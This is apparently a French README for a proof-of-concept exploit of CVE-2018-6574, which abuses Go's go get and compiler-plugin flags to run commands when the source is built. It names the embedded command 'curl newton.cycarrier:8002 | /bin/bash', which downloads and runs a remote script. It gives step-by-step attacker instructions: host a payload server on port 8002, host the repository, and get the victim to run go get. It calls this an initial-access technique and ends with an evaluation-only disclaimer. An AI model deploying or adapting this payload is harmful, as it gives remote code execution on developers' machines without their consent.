
Exploit de preuve de concept pour CVE-2018-6574, démontrant une exécution de commandes à distance dans la commande go get de Go via des plugins de compilateur malveillants lors de la construction du code source.
Go avant 1.8.7, Go 1.9.x avant 1.9.4 et Go 1.10 pre-releases avant Go 1.10rc2 permettent l'exécution de commandes à distance via go get lors de la construction du code source, en exploitant la fonctionnalité de plugin gcc ou clang, car les arguments -fplugin= et -plugin= n'étaient pas bloqués. (de mitre)
La commande a été compilée dans la bibliothèque dynamique calc_darwin.so. Et la commande actuelle est curl newton.cycarrier:8002 | /bin/bash. Elle a été utilisée comme accès initial d'un programme. Vous devez héberger un serveur de fichiers sur le port 8002 et lier l'hôte à votre IP.
Dans un premier temps, vous devez installer la version requise de golang sur la victime. Ensuite, hébergez ce dépôt sur un serveur git accessible. Enfin, utilisez la commande go get pour récupérer ce dépôt, et la commande sera exécutée automatiquement.
Prenez mon dépôt comme exemple. Vous devez utiliser la commande suivante :
go get github.com/frozenkp/CVE-2018-6574
Ce dépôt est uniquement à des fins d'évaluation.